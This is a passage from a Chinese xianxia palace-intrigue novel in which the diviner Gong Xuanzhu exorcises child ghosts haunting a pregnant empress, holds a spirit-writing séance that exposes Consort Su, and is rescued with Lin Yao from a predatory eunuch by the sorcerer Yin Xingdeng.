林瑶几乎是惨叫一声,两眼一翻险些昏厥在地,尹星灯吓坏了,急忙伸手想去扶一把,谁知林瑶仿佛见了鬼似的,连滚带爬往床角缩,现在这个距离尹星灯不上床就够不到她,
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见她惊慌如此,情知不能操之过急,于是温声细语地安慰道:“瑶儿别怕,可是又梦魇住了?你睁眼看看,我是师父啊。”
林瑶将耳朵捂了起来,屈着双膝缩在床角,将脸埋在膝盖上,整个人似乎都陷入了惊恐的泥潭之中,不愿再说一句话。
她现在也明白过来自己刚才是在做梦,按理来说普通人在睁眼那一刻就会彻底清醒,区分开梦境与现实,顶多恍惚一阵也就忘却了,但林瑶的梦境向来是十分逼真,而且她总是不知道梦是由何时开始的,仿佛跟现实接轨了,导致她一度精神错乱,正常人可能需要一炷香时间就能缓过来,那么林瑶就必须要多上三四倍的时间。
“师父,我没事了,您早点去歇息吧……”
林瑶抬起脸,面如金纸,双目发眩,尹星灯如何放心得下,温声问道:“瑶儿别怕,为师会一直陪着你,跟师父说说,梦见什么了?说出来就不怕了,好不好?”
奈何林瑶一瞥见他那身紫袍就想起了那条紫黑色蟒蛇,继而勾起了更加令人窒息的梦境,她不敢再往下想,一个劲儿地摇头。
尹星灯渐渐有所觉悟,不可置信道:“这次你梦魇中的鬼怪,难道是我?”
一片死寂,林瑶瞳孔涣散,仿佛又陷入了更深的回忆。
“该死……”
尹星灯低低咒骂一句,却也颇感无力,他纵有通天彻地的本事,却改不了爱徒的命格,林瑶的生日不好,从小就体弱多病、梦魔缠身,能好好睡一觉的日子屈指可数,随着她一日日长大,梦魇越来越频繁,好像一次比一次厉害,照这样下去,怕不是迟早要疯了……
看得出来,她困得睁不开眼,却又不敢再轻易入睡,尹星灯不免轻叹:“睡吧,为师就在这里。”
无论他怎么劝说,林瑶还是不肯再睡,一个不肯睡觉,一个就不肯离开,面对面坐到了破晓时分,曙光透过窗棂纸,驱散了黑暗中的阴森诡异。
林瑶恍恍惚惚下了床,有些头重脚轻,却拒绝尹星灯的搀扶,自顾自走出房间,身上被人披了一件斗篷,那人贴心地将她的长发托到衣领外面理顺了。
“早上寒气重,你本就体弱,这又是何苦?”
两人一前一后走上了山道,一路无话,抵达山顶时夺目的日光自东山升起,顷刻之间万丈光芒洒遍大地。
尹星灯看着笼罩在阳光下的林瑶,嘴角微微泛起一丝笑意:“瑶儿,想看日出的话,下次为师带你去太曦峰可好?”
林瑶却忽然道:“昨晚那个,不是我的梦魇。”
“什么意思?”
尹星灯心头一紧,隐隐预感到有不好的事发生了。
“跟皇后有关?”
“是,娘娘说,她自身怀有孕以来,时常梦魇,梦境千篇一律,全跟蛇有关,民间老人常说,梦见蛇是要生男孩,起初娘娘惊吓之余还有些高兴,可是慢慢地,她就发现事态有些严重……娘娘现在寝食难安,又不好对陛下明说,迫于无奈才找到了我——”
“所以你一不做二不休,直接把她的梦魇转移到自己身上了?”
林瑶还未答话,尹星灯已经气得脸色发白,抬起手指着林瑶,又忿忿甩开袖子。
“林瑶啊林瑶,你都自身难保了还需要雪上加霜吗?我……我该说你什么好,你可知再这样下去,等待你的会是什么……”
“我知道师父担心什么,但是不会,我分得清。”
她静静凝望着远处夺目的一轮金乌,日光沐浴下的玄都渐渐苏醒,炊烟袅袅下的是茶坊酒肆,街上零零星星有挑担子的商贩。
西北边山景旖旎,层峦叠翠隐逸在波澜壮阔的七彩雾气之中,仿佛一幅宏伟巨制,令人心驰神往。
尹星灯望着她出神的模样,黯然长叹,虽不知她前路如何,但有一点是肯定的,他会陪她走下去。
18. 君子动口不动手
两人刚回去就听星辰宫里人声嘈杂,仿佛是出什么事了,尹星灯一向事不关己高高挂起,林瑶又不是爱凑热闹的人,二人并不急着询问,但是,主角实在太过高调。
林瑶一眼瞥向观星楼吓了一跳,只见一个少女站在楼顶边缘,衣衫在风中凌乱,给人一种错觉,她似乎马上就会被风吹下来。
林瑶一颗心在胸腔中乱跳,慌慌张张挤到人群前面,怕突兀喊一声吓到宫玄烛,出声之前使劲儿招手好让她注意到自己。
“玄烛!你这是做什么!”
上面的人依旧那副漫不经心的调调:“我活够了,看不出来吗?”
林瑶既费解又焦急,出了一脑门子汗,朝上面喊道:“你先下来,有话好好说!”
宫玄烛往前走了一步,一脸看透生死的淡然:“死生有命,富贵在天,不必再劝。”
“你别冲动!”
林瑶回过头见尹星灯在自己身后,急忙道:“师父,您劝劝玄烛吧!”
尹星灯双手抱臂,不知道在想些什么,听了林瑶的话果然有所反应,朝上面喊了一句:“为师已经替你掐算好了,这个时辰宜投胎,下辈子位极人臣。”
宫玄烛有点好奇:“能做丞相还是做护国大将军?”
尹星灯微笑:“天天伺候皇上。”
擦,感情是个太监啊!
谁也没想到宫玄烛真的从上面跳了下来,仿佛一只断线的风筝,又如一颗投入湖面的石子,顷刻之间就会坠落在地面上,千钧一发之际林瑶冲了出去,足尖点地一跃而起,在宫玄烛落地之前死死抱住了她,但从高楼上坠落的冲击力还是太大,林瑶只感觉全身的骨头几乎都要被撞碎了,但却没有如想象中那般狼狈地摔倒在地,两个人平平稳稳地踩到了地面。
尹星灯掸掸衣袖上并不存在的灰尘,向林瑶微一招手:“一会儿往北极殿拿两份早点。”
说完之后转身就走,走了几步又觉得有必要避嫌,微一侧身对一众看热闹的弟子道:“你们不要误会,为师只是最近胃口好,才不会跟你们大师姐一起共用早膳。”
弟子们愣了一会儿,反应快的心照不宣地发出低低的“哦~”,鬼头鬼脑地去瞅林瑶。
林瑶早已飞红了脸颊,只能装作无事发生,转身就走,脚步越来越快,逃也似的跑出了观星楼一带,这才发现自己把宫玄烛忘了,又急急忙忙往回赶。
还好,看热闹的都已经散了,原地只剩宫玄烛一人,背着手溜溜达达在石子路上散步,微微皱着眉头,看样子是遇到了极其棘手的事。
“玄烛,你怎么呢?”
林瑶走到近前,轻轻拉住了她的手。
在她来之前,宫玄烛已经驴拉磨似的转了好几圈了,她自然是为了阴桃花的事烦恼,这几天都不敢合眼,熬鹰似的熬着,感觉困意来袭就掐自己一下,以至于现在黑眼圈都快掉地上了,再不解决这个阴桃花,她真的就要崩溃了。起先还是想着相亲那招,她也不敢拿别人的性命冒险,思来想去还是找命硬的尹星灯,结果对方死活不肯,要为林瑶守身如玉,拜托,林瑶听到这个消息会比考入梵净山还开心。
后来,她又想到了寻死,如果阴桃花一直在暗中观察着她,那么在她遇到生命危险时应该会有所反应,她知道有林瑶在一定会被她阻止,瞅准了时机才爬上观星楼,没想到小白花回来得还挺快。
但这事儿她也不好跟林瑶说,谁知道阴桃花现在是不是就在她身边,免不了扯个谎。
“没事,我让人给甩了。”
“啊?”
“好奇对方是谁啊?”
林瑶连连摆手,脸涨得通红:“没有没有!”
半晌又期期艾艾道:“玄烛,你不要难过,你还这么年轻,不要想不开啊,而且你这么厉害,是我们琅嬛国的少祭司,怎么能因为这些事就犯傻呢?你还有父母、兄长,如果你出了什么事,你的家人多伤心啊——”
“呵呵……”宫玄烛一阵干笑,适时打断了她,“我知道了,知道了,以后再也不会了,听君一席话,胜读十年书啊,简直令我茅塞顿开。”
林瑶微微咬住了下嘴唇,有些不悦:“人家好心好意劝你,你又这般嬉皮笑脸敷衍了事……到底听进去了没有啊?”
宫玄烛这几天乏的慌,好不容易逮着个人自然要拿来逗逗闷子:“那师姐有什么不开心的事嘛,说出来也让我开心开心。”
林瑶攥起粉拳但是没有砸下去,自袖中拿出一块令牌来塞到宫玄烛手里,宫玄烛低眸一看那令牌形制简直牙根都酸了:“你又从哪里给我揽的差事啊?不要不要!能退回去不!”
林瑶怕她丢回来,连忙后退几步,双手背后一副无辜的模样:“退不了呢。”
宫玄烛叫苦连天,真是屋漏偏逢连夜雨、船迟偏遇打头风,拿着那块令牌在手里抛了几下,叹气道:“站那么远干嘛,倒是告诉我什么事啊?”
林瑶走近了,踮脚在她耳边低语一阵。
“就是这样了,事态紧急,你准备好了我们就一起进宫吧。”
择日不如撞日,说是今天就今天,宫玄烛随林瑶直奔桐华宫。
林瑶看着“两袖清风”的宫玄烛不禁替她操心:“真的不需要准备点什么嘛?”
宫玄烛还在想着自己的心事,嘴里胡乱答应:“需要准备什么?”
林瑶:“比如符纸、香烛、桌案……”
“那我是不是还需要配把桃木剑啊?”
林瑶哑然,你舍得死我就舍得埋啊,就这样吧。
宫玄烛此时已经心情大好,当局者迷,旁观者清,林瑶一语点醒梦中人。
扶乩请仙,自己怎么没想到呢?这个世界上,鬼神的事还需要鬼神来干预。
林瑶前去禀报皇后,宫玄烛就在殿外候着,不多时一个大宫女出来了,微笑施礼:“大人,娘娘有请。”
宫玄烛不经意一瞥,甚远之处有一座宫殿,里面树木遮天,阴气逼人,宫道里却忽然闪出一行花红柳绿的人影,有乘轿的、有随行的,宫玄烛嘴角不禁勾起了笑意,下巴微微朝那边一抬,低声问道:“玄烛第一次进入内宫,敢问姐姐,那边是什么所在?”
这大宫女微微抬眼,对那地方似乎有些忌讳,但宫玄烛发问了又不好不回答。
“那是荼蘼宫,妃嫔若有严重过失,会被贬入荼蘼宫思过,能从里面出来的几乎没有,基本上就惨淡一生了。”
“原来如此,再请教姐姐,荼蘼宫中如今可还有人在吗?”
大宫女皱皱眉头,似乎是嫌宫玄烛的问题太多了,不过就是个司天监的女官,怎么能跟兵部、礼部真正掌有实权的大人比,语气也明显不如之前恭维了:“那破地方如今也就几个负责洒扫的老嬷嬷过去,之前一位周美人,如今已经死了。”
宫玄烛点点头,自袖中摸出了一只纽扣大小的珍珠戒指,洛都的小玩意,流光宗一带随处可见,但人离乡贱、货离乡贵,这东西一拿出来,姐们的眼睛立刻亮了,推辞两番揣进兜里,喜笑颜开:“少祭司客气了,这都是咱们应该做的。”
嗯,不错不错,有钱能使鬼推磨,甚至能使磨推鬼啊。可惜这么浅显的道理,林瑶她是不会明白的。
踏入桐华宫,宫玄烛第一反应是——好重的怨气,再抬眼观瞧上座的皇后,宫玄烛心里直嘬牙花子。
啧啧啧!再过几天就能拉出去埋了,坐六宫之首果然是不容易,这是拉了多少仇恨在身上啊。
在宫玄烛眼里,皇后额头一团黑气笼罩,肩头两盏命灯昏暗,将熄不熄、苟延残喘,在她脚下跪坐着两个衣衫褴褛的蓝脸小童,一左一右抱着她的小腿,虎视眈眈盯着她高高隆起的肚腹,其中右边的女童忽然伸出了长长的舌头,眼看舌尖就要触碰到皇后的小腹,恰逢皇后伸手轻轻抚摸了一下肚腹,自她手腕上发出一道白光,刚好将女童的长舌头挡了回去,女童仿佛被火烫到了一般,迅速缩回了舌头,目露怨毒地盯着皇后。
宫玄烛看得清楚,皇后手腕上戴了一串雪白的菩提珠,开过光的东西,但是炼制者道行不够,这东西大概只能挡上两三次灾。
皇后注意到了宫玄烛古怪的目光,心底有些不满,不由皱眉:“少祭司在看什么?有什么话不妨直说。”
宫玄烛真就直说了:“娘娘手腕上的珠子不错,不过嘛,一分钱一分货,既然是白捡的,驱邪避祸的效用有限,属于是日抛货,不如我送娘娘一件半辈子抛的,保证是价格公道童叟无欺,全国上下有口皆碑,不满意七天包退。”
那个大宫女若不是之前受过贿赂,这会儿可能已经叫人把宫玄烛轰出去了,但是拿人钱财与人消灾,少不得替她卖卖力,连忙满脸堆笑看向皇后:“娘娘,少祭司乃是出家之人,没进过内宫,望娘娘大人不记小人过,恕不知者无罪吧。”
皇后微微抬手,秀眉紧紧蹙起:“本宫这小腿酸痛得厉害……”
两旁宫女连忙上前,跪倒在地轻轻替主子揉捏,而那两小鬼已经窜到皇后身后去了,从她肩膀上探出两颗头,给宫玄烛一种皇后长了三个脑袋的错觉。
此时,那两小鬼仿佛也察觉到了陌生的视线,四只眼睛齐刷刷望向了宫玄烛。
一人两鬼就这么对视了片刻,那个女童咯咯咯地笑了起来,空灵的声音飘到了宫玄烛耳畔。
“你看得见我们吗?”
她咯咯娇笑着,笑得花枝乱颤:“大姐姐,你愿意陪我玩嘛?”
那个男孩却怒视着宫玄烛,声音冷冰冰的,过分漆黑的眼睛里仿佛带着地狱的业火。
“你的死期就快到了。”
“有一只恶灵缠上了你,你知道的吧?”
对于他们说的这些,宫玄烛一概当屁处理,自己拉了一把椅子坐了下来,对着身边一圈人微微一点头:“闲杂人等请回避,娘娘请捂上耳朵,因为我接下来要说的话可能有点不太好听。”
皇后看了看身侧的林瑶,后者微微点头,给她肯定的眼神,于是皇后点头同意,闲杂人等通通撤离,偌大的正殿只剩下皇后、宫玄烛、林瑶三人。
林瑶刚伸
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手想替皇后捂上耳朵,皇后却摇摇头:“不必,本宫想知道我这突如其来的病究竟是怎么回事。”
宫玄烛稳如泰山往下垂首一坐,眼神如两道寒光,先看向了那个凶巴巴的小男孩,微微一笑伸出了一根雪白的玉指:“第一,有恶灵缠上我是它倒霉,像你们这样损人利己的货色,来一个我收拾一个,来两个我收拾一双,省的我费事儿去到处找,怎么处理垃圾怎么处理你们。”
眼看男童眼底的怨气越来越盛,似乎随时想扑上来撕碎了她,宫玄烛不紧不慢又伸出一根手指:“第二,我的死期快到了又怎样,关键是我现在还活蹦乱跳的,活着就有无限可能啊,哪里是你们这些死鬼能比得了的,像你们这种人,啊不,这种东西,活着费粮食死了臭块地,还每天出来祸祸别人,脏心烂肺啊,阴沟里的耗子人人喊打,死了活该,死了拉倒!”
男孩惨叫一声,仿佛被人迎面一拳,他仰面朝天,嘴巴大张到不可思议的程度,冒出浓重的黑气,眼睛变得血红,发疯般朝宫玄烛冲了过来,惨白的面孔扭曲成一张破败的画布,哗啦哗啦往下来掉东西,宫玄烛稳稳当当坐着,眼看厉鬼近在眼前,她忽然长袖一甩,几颗雪白的珠子嗖一下飞了出去,啪啪啪——珠子一颗没浪费,全招呼在男童身上了,宫玄烛打了个清脆的响指,轰隆一声,如同爆竹炸裂,男童的身影在空中摇摇晃晃,忽然跌落下来,如同一团破棉絮堆在宫玄烛脚边,用仅存的半张破碎面孔看向宫玄烛,不知是怨恨还是自嘲。
“她们不给我出生的机会……焉知我不是好人啊……”
宫玄烛正眼都没瞧他,声凉如冰:“这位小朋友,不要试图道德绑架我,因为我没有道德。”
接着宫玄烛又笑眯眯看向那个女童:“刚才不是要姐姐陪你玩吗?有本事跟姐姐出去聊,姐带你去晒晒太阳,哎呦,我忘了,小妹妹见不得光,容易化作一缕青烟,随风而逝!”
女童张张嘴,刚想说话又被宫玄烛打断了:“小孩子家家不学好,谁教你们这些损阴德的勾当的!搁我十年前那脾气骨灰都得给你们扬了,识相的赶紧滚,别逼我动手!”
那女童眸光一闪,知道今天碰上硬茬了,脑袋一缩消失在了皇后身后,宫玄烛摇头叹气,往地上那团流得十分邪门的黑水中撒了把糯米,只听噗呲一声,宫殿里传来尖锐刺耳的稚童惨叫之声。
皇后精神恍惚,吓得浑身一颤险些摔下凤榻,林瑶赶忙扶住了她。
这边宫玄烛摆摆手:“可以了,让娘娘好生歇息就是。”
宫玄烛刚起身,头上大汗淋漓的皇后急忙伸手拦住:“少祭司且慢……”
宫玄烛缓步行到近前,只见皇后斜倚在林瑶身上,眸中含着朦胧的泪光,苍白的嘴唇轻轻颤动:“你说的那个珠子,怎么卖的?”
宫玄烛眼前就是一亮,发财的机会来了!
迅速从兜里摸出随身携带的三四串护身符,提在手里一一介绍:“这是沉香木,这是檀木的,一来驱邪避灾,二来带在身上肌肤生香,三来没事儿还能盘两圈,可谓是消灾美容消遣三不误,买不了吃亏买不了上当。”
皇后微微一笑,一天的乌云满散,伸手一指宫玄烛:“本宫要你腕上那串,不知少祭司可否忍痛割爱?”
宫玄烛先是一愣,随后明白过来,这是把我当活佛了吗?
她腕子上那串绿檀珠已经戴到褪色了……别问为什么会褪色,问就是曾经踩过坑,被天杀的奸商给骗了,什么深山原木,匠心打磨,高僧加持,呸!要是让她再找到那个神棍,人脑子非得给他打出狗脑子!
至于为什么把耻辱戴在身上,一来自然是花了三十两雪花白银,跟什么堵气不能跟钱堵气,再者说了,这玩意儿吧,咱当它是真的它就是真的,千金难买我乐意;这二来嘛,也是为了警醒自己,以后只有我忽悠别人的份儿,万万再没有别人忽悠我的份儿!
宫玄烛故作痛心疾首之态,伸手捂住了手腕:“这,实不相瞒,此乃臣下祖父逝世之前所赐,臣下日日夜夜戴在身边不愿离身,还望娘娘体恤臣下……”
皇后一听此言,情知不能强人所难,但又恐再次被梦中鬼怪侵扰,也着实担忧腹中孩子有闪失,思虑再三还是向宫玄烛请求割舍爱物。
宫玄烛早知如此,故作为难跟她拉扯几回,眼看火候差不多了,见好就收,这才将腕上珠串褪了下来,恭恭敬敬双手奉上,皇后如获至宝,抓在手里一颗心这才算有所依托,笑问道:“少祭司这传家之宝舍了本宫,不知要价几何?”
宫玄烛微微噙笑:“心诚则灵心诚则灵。”
钱越多越灵!给我一万六界通宝,我天天蹲门口给你放哨都行!
林瑶看着她喜滋滋从宫女手里接过一千两银子时,不禁咋舌,这究竟是什么人啊,连皇后都骗,真不怕掉脑袋吗?
不过宫玄烛虽然贪财了些,却也是真正办事的人,当即决定帮人帮到底,送佛送到西,对,她就是在接过银子的一瞬间,决定替皇后彻底摆脱鬼怪的骚扰的,可见其人品次到了什么程度。
19. 笔仙笔仙,来吃大餐
折腾了许久,皇后在内殿休息,宫玄烛与林瑶一起在外殿排摆开桌宴。
供桌、香烛、纸元宝、牛羊肉、御酒……
林瑶一看宫玄烛这架势,忍不住好奇:“娘娘这次遇上的邪祟很厉害吗?”
宫玄烛摇摇头,指向自己的鼻尖:“不是她遇上的邪祟厉害,而是我,我遇上大麻烦了。”
林瑶不禁起急:“什么!你为何不早说?”
提起这事宫玄烛气不打一处来:“关键是你们不给我说话的机会啊,孩子死了你来奶了,靠人不如靠自己。”
她继续收拾着扶乩所用之物,林瑶在旁边欲言又止,脸颊红扑扑的,生怕宫玄烛又说出更好的来,连忙找补:“玄烛,请仙还需要准备什么?”
宫玄烛大致扫了一遍眼前的供桌,确保什么都不缺了,这才盘腿坐在蒲团上,伸手点燃三支线香,随口答道:“还需要叫人。”
林瑶举起小手跃跃欲试:“那我去帮你叫人吧。”
宫玄烛都不知道该怎么接话,舔了舔嘴唇笑眯眯看向清澈愚蠢的小师姐:
“乖……你帮我叫个车就行,我怕加班久了赶不上末班车啊。”
林瑶:感觉又被师妹嫌弃了……
亥时三刻,桐华宫外殿阴风阵阵,吹起芙蓉纱幔狂舞如蛇,冷风直往人的骨缝里钻,一排排红烛依次被吹灭,只剩下供桌上四根白烛还在燃烧,宫玄烛指尖转动星珠手串的动作忽然一顿,她刷一下睁开双眸,瞳孔震颤。
供桌上只剩了四支白烛,而红烛被吹灭了,这次扶乩请来的不是仙……
眼前四点橘红的火苗同时一闪、霎时间变成了青蓝色,她不由攥紧了双手,此时不敢轻易转头,只能用余光去瞥旁边的林瑶,希望我方队友能帮上忙,这一眼望过去,呵呵,宫玄烛悬着的心彻底死了,我方队友已经躺地上了,后备军凉得比我还快,这还玩个六啊!
没办法只能硬着头皮上了。
昏暗的烛光只能照亮半张供桌,在宫玄烛对面还有一个空着的坐垫,那是留给客人的,可对方明明已经来了却久久不愿落座。
莫非是觉得我年纪太轻,觉得我道行不够听不懂他的谶语,所以不屑于帮忙。
很快这个猜测就被打消了,因为宫玄烛感觉到有人站在了自己身后,月色入户,宫玄烛明显看到,地板上除了自己的影子,还多了一个挺拔的身影,又瘦又高,长发随风舞动,如同水中藻荇。
地上的黑影越靠越近,就站在她身后,伸出了右手,五指纤长,缓缓探向宫玄烛。
该死的,居然不按套路出牌,你想干什么!直接破坏规则弄死我吗?
就在宫玄烛准备先下手为强,召唤魂灯跟对方硬碰硬时,右手手背忽然一凉,一只苍白如纸的手按在了她手上,冷得彻骨,如同整只手塞进了雪堆里,身后来客执起她的手自供桌旁边取下了毛笔,蘸上砚台里早就准备好的朱砂,毛笔被两个人握着,如一把利刃悬在铺开的白纸上,朱砂滴落,在纸上溅开,如同刺目的血点子。
管你是谁,死马当活马医!
宫玄烛迅速收回思绪,专注于仪式,迅速在纸上写下所问之事。
在她停笔之际,感觉到身后那人似乎微微沉吟了一下,随后迅速有了动作,抓着她的手在纸上刷刷点点,龙飞凤舞,洋洋洒洒,四行血色草书呈现纸上。
画人画皮难画骨,荼蘼寂寞死逢春。仙台有仙君难寻,鱼米逢春祭洛神。
宫玄烛大致扫了一眼这四句诗,只见藏头露尾,所指何人一目了然。
做到心中有数迅速在纸上写下了自己所问之事,这次,身后来客却没有及时给出答案,笔尖悬在纸上许久,朱砂一点一点落在纸上流向四周,如同一行行血泪,宫玄烛猜测,或许是这阴桃花太过厉害,所以这位一时也无法给出肯定的答案吧。
眼看点燃的线香只剩小指长短,宫玄烛左手去摸供桌上摆放的蜡烛,打算将桌上的金元宝一烧,把这位送走完事,不料那只手却有了新动作,拉着她的手迅速在纸上写了起来。
宫玄烛瞪大了眼睛,盯着燃得越来越快的线香看,那只手握着她的手写得飞快,纸上的字如同疯子画下的不明符号,线香最后一截燃烧殆尽,香灰在空中无声折断,宫玄烛迅速将蜡烛望金元宝堆成的纸塔上一丢,火焰一窜三尺高,与此同时宫玄烛眼角余光忽然瞥见一角红衣,心跳就是一滞。
魏何惜?
又觉得是自己太过草木皆兵,穿红衣的就是魏何惜吗?骑白马的还不一定是唐僧呢!
书页载尽三千问,烛火未举因月痕。日照京华胭脂色,人走茶凉听雨声。
宫玄烛一时没有看透背后玄机,遂执笔将这四句谶语写在自己的手帕上,贴身收好。
而对于皇后的病症却已经是胸有成竹,叫醒了旁边昏迷的林瑶,对方迷迷糊糊从梦魇中醒来,眼眶微微泛红。
宫玄烛伸手拉她起来:“走了走了,地上凉,回去再睡昂。”
“抱歉啊玄烛,本来想帮忙的,没想到还是没有帮上。”
“无妨无妨,不帮倒忙就是帮了最大的忙了。”
两人并肩行走在宫道上。
“画人画皮难画骨,荼蘼寂寞死逢春。仙台有仙君难寻,鱼米逢春祭洛神……”
林瑶轻轻念诵这四句谶语,似有所悟:“民间有一种鬼怪叫做画皮鬼,我以前见过一次,荼蘼寂寞莫非是指荼蘼宫?”
宫玄烛点头肯定:“继续说下去。”
林瑶微锁蛾眉,琢磨着剩下两句谶语,一时不解其意,但抬眼一看,对面刚好有一队凤銮仪仗招摇而来,她脑子里灵光乍现,忽然就反应过来了。
仙台换而言之就是瑶台,取其瑶字,鱼米逢春祭洛神,洛神就是蓝情浅,取蓝字之首,下面添上鱼、禾二字,就是苏。
苏贵妃的步辇在她二人眼前停下,那双丹凤眼在两人身上扫过,鼻翅里发出不满的哧声,展眼先看向那张新面孔,见宫玄烛一身繁复的道袍,面纱遮挡之下只露出一双深邃的眼睛,那双眼睛仿佛能看透一切,眼角挂着让人不寒而栗的笑意。
苏贵妃被她盯得浑身不自在,挺直了腰杆子,提高嗓门责问道:“你是什么人?见到本宫为何不行礼?”
宫玄烛微微噙笑:“我这一拜恐怕苏娘娘受不起。”
“大胆道姑!普天之下莫非王土,你既是琅嬛国人,如何跪不得本宫?”
宫玄烛:“苏娘娘以为呢?本道这双膝跪诸神、跪父母,一些山猫野鬼,穿人皮三分像人,瞒得过酒色之徒,可瞒不过我。”
苏贵妃眸子微微闪躲,只觉得对方一双眼眸寒光凌冽直往人肉里钻。但想起光天化日之下,这道姑未必敢直接对自己动手,仗着人多势众,颐指气使道:”好大的胆子,居然赶顶撞本宫,来人!把这两个不知天高地厚的贱人给我拉去宫正司!让李公公好好教教她们尊卑贵贱之别!”
林瑶见宫玄烛并不反抗,而是任由两个小太监押着,自己也不禁纳闷,猜不透宫玄烛究竟想做什么。
宫正司的李
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公公满脸褶子、脑满肠肥,一些当值的小宫女没少受这老畜生的欺负,今天忽然见送来了两个美貌道姑,李公公眼睛发光,口水差点掉地上,装腔作势遣散了闲杂人等,待屋子里只剩下两女一畜时,李公公犹如饿狼扑食般直奔林瑶,想去拉她的手,林瑶迅速躲开,李公公身体笨重,脚下一歪一头钻进了桌子底下轻易爬不起来,如同一块肥猪肉在地上乱颤。
林瑶皱皱眉看向宫玄烛,对方已经在主位上坐下来了,习惯性地想倒茶,但一想这茶杯可能是老太监用过的,遂罢手,翘起一只脚搭在桌子上。
林瑶有些气恼,语气不由加重:“玄烛,你到底想做什么?”
宫玄烛轻轻叹气:“急什么,救你的人马上就到了,乖了,先牺牲一下你的色相,等会我给你报仇啊。”
“小美人儿!你别挣扎了,进了宫正司没人能救得了你!乖乖顺从咱家,有的是好处!”
李公公张开手又向林瑶扑了过去,林瑶只能左躲右闪,本来是能轻易躲开的,无奈身后有人使绊子,冷不防宫玄烛伸出一只脚勾了她一下,林瑶哗然倒地,摔得鬓发散乱,再想起身可来不及了,只能就地一滚,躲得狼狈不堪,忍不住破口大骂:“宫玄烛!我饶不了你!”
五、四、三——
“瑶儿!”
正堂的门被一脚踹开,门板倒地激起粉尘无数,尹星灯脸色铁青,毒如冷箭的眸光四下一扫,见林瑶摔倒在地,白衣上满是灰尘,神色惶急,一个老太监满头大汗、扶着桌子喘粗气……
尹星灯拳头几乎捏碎,眼眶里泛着血色,脚步沉重地走向林瑶,一边伸手扶起爱徒,另一手暗掐天星诀,室内白光如昼,成百上千细如牛毛的光刃悬在李太监周围,李太监两条裤腿瑟瑟乱抖,眼珠子几乎要冒出眼眶,满头大汗登时变成了冷汗,僵硬地扭过堆叠成三层的头身连接处,满脸油腻的媚笑:“尹国师,咱家跟这位姑娘闹着玩呢……”
尹星灯眼眸低垂不知在想些什么,听了这话咬着牙一笑,两腮边肌肉微微颤动,宫玄烛登时血都凉了,不好,玩脱了!这下恐怕在劫难逃。
只见尹星灯狠狠一攥拳,指甲几乎要嵌进自己的血肉里,悬浮在空中的星光如同收紧的丝线,将中间的李太监包裹成了一个蚕蛹,噗——随着光线尽数消失,鲜血如同一场急雨,除了林瑶和尹星灯,整间屋子包括宫玄烛,没有一块地方是干净的。
尹星灯扶着林瑶,眸子漆黑而幽冷,经过宫玄烛时目不斜视,手中寒光乍现,林瑶急忙拦住,惊叫道:“师父!您怎么呢?您看清楚这是玄烛!”
尹星灯眸中寒意不减,却因为林瑶握住了他的手臂,只能暂时压住心中滔天怒气,手中蓄势待发的阵芒迅速暗去,伸手在林瑶头顶轻轻摸了摸,发出一声低叹:“你啊……总是如此,岂不知防人之心不可无,要为师嘱咐多少遍才能记住?”
宫玄烛捂着被几根光刃伤到的右臂,鲜血滴滴答答直往下淌,心知这是尹星灯小惩大诫,林瑶还真是他的逆鳞,自己这步棋下得太险了。
尹星灯师徒二人刚走出宫正司,就见门口鬼头鬼脑有个小宫女,尹星灯当即喝住她,小宫女哆哆嗦嗦,跪在地上一五一十将事情交代清楚了。
“贵妃娘娘让奴婢来探听情报,告诉李总管,两个姑子不留活口,处理地干净些……”
宫玄烛走出宫正司的大门,就见粉壁墙上仿佛是被谁泼上去了一滩新鲜的血液,她以为尹星灯会直接杀到苏瑶的宫殿里去,却不尽然,尹星灯带着林瑶回了星辰宫。
20. 轻轻的我走了
宫玄烛摇摇晃晃回了离梦阁,林夕见她满手鲜血吓了一跳,急忙上前搀扶她坐下:“这是怎么回事?”
他从未见过她受伤的样子,而且还这么严重,不由心下惶急,连忙将药囊搬过来,各种金疮药都用上了,可是她手臂上那几道口子依旧是鲜血淋漓,宫玄烛自己拿纱布包裹住了,缠了一层又一层,血迹终于不再往外渗,这才算松口气,面对林夕的追问也只能是敷衍糊弄过去,林夕见她满嘴跑火车没一句实话,索性不再追问,坐在旁边生闷气。
宫玄烛也不惯着孩子,凭什么哄他,自己还倒霉事一大堆呢。
坐在灯下拿出了那张写了四句谶语的纸条细细观摩,百思不得其解。
有阴桃花存在,她想睡也不敢睡,拿着这哑谜解闷,手上写写画画,一个字一个字的联想,林夕见她困得点头如捣蒜,过来劝了好几遍,宫玄烛依旧摇头,一边眼皮打架一边嘀咕:“我不困,一点都不困……”
哐当一下,整个人险些栽倒在地,林夕急忙闪身过去扶住她的肩膀,宫玄烛的脑袋就枕在他胸口,沉沉地闭着眼睛,面容憔悴,眼眶深陷,眼窝下两团阴影,看样子外面打几声响雷她都醒不过来。
林夕伸手虚抚着她的脸颊,指腹轻轻掠过她的眼睫、鼻梁,最后顿在嘴唇上方,唇角微微勾起一抹古怪的笑意。
“好好睡吧,今夜你会做个美梦的。”
宫玄烛一觉醒来,天光大亮。
她恍惚了一会儿,忽然坐直了身子,整个人如同被雷劈了。
我睡着了?什么时候?
我梦见什么了来着?
她努力地回想,寻找蛛丝马迹,大脑却是一片空白。
没有做梦……难道阴桃花已经歪打正着被化解了不成?刚冒出这个想法她就自己否决了,宁可信其有,不可信其无,对于这种东西,在亲手将其挫骨扬灰之前还是保持警惕的好,昨晚真是大意,居然稀里糊涂就睡着了,宫玄烛一阵后怕,得亏自己早有准备,不然真就吃大亏了。
宫玄烛起身,叫了两声林夕,没有人搭话,估计是出门了。
“唉,老是这么着也不是办法。”
行至梳妆台前,先伸手推开了窗户,清风入室,青山入眼,纱幔飘飘若仙袂,主人轻轻落座,执起檀木梳对镜理着一把及腰青丝,去了面纱的脸映在镜子里,无比清晰,玉手轻轻在铜盆里蘸上水,指尖对着铜镜轻轻一弹,镜面上的容颜便模糊不清了,恰似镜中花水中月。
“这么怕我看清你的容貌?”
门外脚步声响起,林夕的身影出现在镜中,他那张脸即使出现在镜子里也是模糊不清的,恰似宫玄烛永远遮着面纱的脸。
“跑哪去了?”
“睡得好吗?”
两个人几乎异口同声地问出问题,却并不打算回答对方的问题。
半晌林夕打破了沉默:“苏瑶死了,被国主下令杖毙。”
“意料之中……还有呢?”
“还有,我要离开了。”
宫玄烛甚至都没有回头,她见过的灵,杀过的灵也太多了,林夕只是其中之一,而且来历不明,放在身边着实危险,眼下他自己说出来了,倒省得她费脑筋下逐客令。
“是因为鬼节快到了吗?”
“是,也不全是,而且你也希望我能离开,不是吗?”
